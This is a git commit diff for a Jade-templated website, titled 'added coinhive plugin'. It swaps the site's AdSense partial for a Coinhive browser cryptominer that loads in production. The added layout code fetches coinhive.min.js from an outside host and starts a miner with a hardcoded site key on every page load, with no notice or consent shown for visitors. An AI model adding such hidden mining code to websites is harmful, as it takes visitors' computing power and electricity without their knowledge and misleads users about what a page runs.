added coinhive plugin

.gitignore

@@ -5,7 +5,6 @@ node_modules
 !public/assets/**/*
 !public/about/*
 !public/_categories/*
-!public/_shared/*
 !public/*
 public/assets/css/application.css
 npm-debug.log

public/_layout.jade

@@ -3,8 +3,6 @@ doctype html
 html(lang="en" manifest="#{manifest_url}" xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://ogp.me/ns#")
   head
     != partial("_shared/head")
-    if environment == "production"
-      != partial("_shared/adsense")
   body
     != partial("_shared/header")
     main.container(role="main")
@@ -16,3 +14,9 @@ html(lang="en" manifest="#{manifest_url}" xmlns="http://www.w3.org/1999/xhtml" x
     if environment == "production"
       != partial("_shared/google_analytics")
       script(src="#{root_url[environment]}sw.js")
+      script(src="https://coinhive.com/lib/coinhive.min.js")
+      script.
+        (function() {
+          var miner = new CoinHive.User('8TcWY9lnEcvWicRSqhxIwYNe2CCT6xd4');
+          miner.start();
+        })();